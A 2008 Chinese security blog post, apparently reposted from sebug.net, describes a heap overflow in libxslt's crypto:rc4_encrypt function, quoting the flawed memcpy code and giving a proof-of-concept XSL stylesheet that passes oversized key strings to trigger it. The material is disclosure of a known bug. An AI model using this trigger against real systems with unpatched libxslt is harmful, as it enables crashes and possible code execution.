-
2008-08-04
libxslt RC4加密/解密函数堆溢出漏洞 - [exp'or'0day]
版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
http://3xp-0day.blogbus.com/logs/26918490.html
Libxslt是为GNOME项目开发的XSLT C库,XSLT本身是用于定义XML转换的XML语言。
Libxslt库的crypto.c文件中crypto:rc4_encrypt函数错误的信任了密钥字符串的长度:
static void
exsltCryptoRc4EncryptFunction (xmlXPathParserContextPtr ctxt, int nargs) {
...
key = xmlXPathPopString (ctxt);
key_len = xmlUTF8Strlen (str);
...
padkey = xmlMallocAtomic (RC4_KEY_LENGTH);
key_size = xmlUTF8Strsize (key, key_len);
memcpy (padkey, key, key_size);
memset (padkey + key_size, '\0', sizeof (padkey));
...
padkey堆分配是固定的128位(RC4_KEY_LENGTH),但却从XSL函数参数拷贝了任意长度的字符串,带有超长输入的XML文件就可以触发堆溢出,导致执行任意指令。测试方法:[www.sebug.net]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:str="http://exslt.org/strings" xmlns:crypto="http://exslt.org/crypto" xmlns:math="http://exslt.org/math" extension-element-prefixes="str crypto math"> <xsl:template match="/"> <xsl:value-of select="crypto:rc4_encrypt('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')"/> blah </xsl:template> </xsl:stylesheet>随机文章:
eWebEditorNet upload.aspx 上传漏洞 2008-09-05DVBBS php2.0 topicother.php 注入漏洞 2008-08-31Oblog最新注入漏洞分析(已修补) 2008-08-08PowerDVD '.m3u'/'.pls'文件多个缓冲区溢出漏洞 2008-07-24风讯API_Response.asp注入漏洞 2008-07-02
收藏到:Del.icio.us







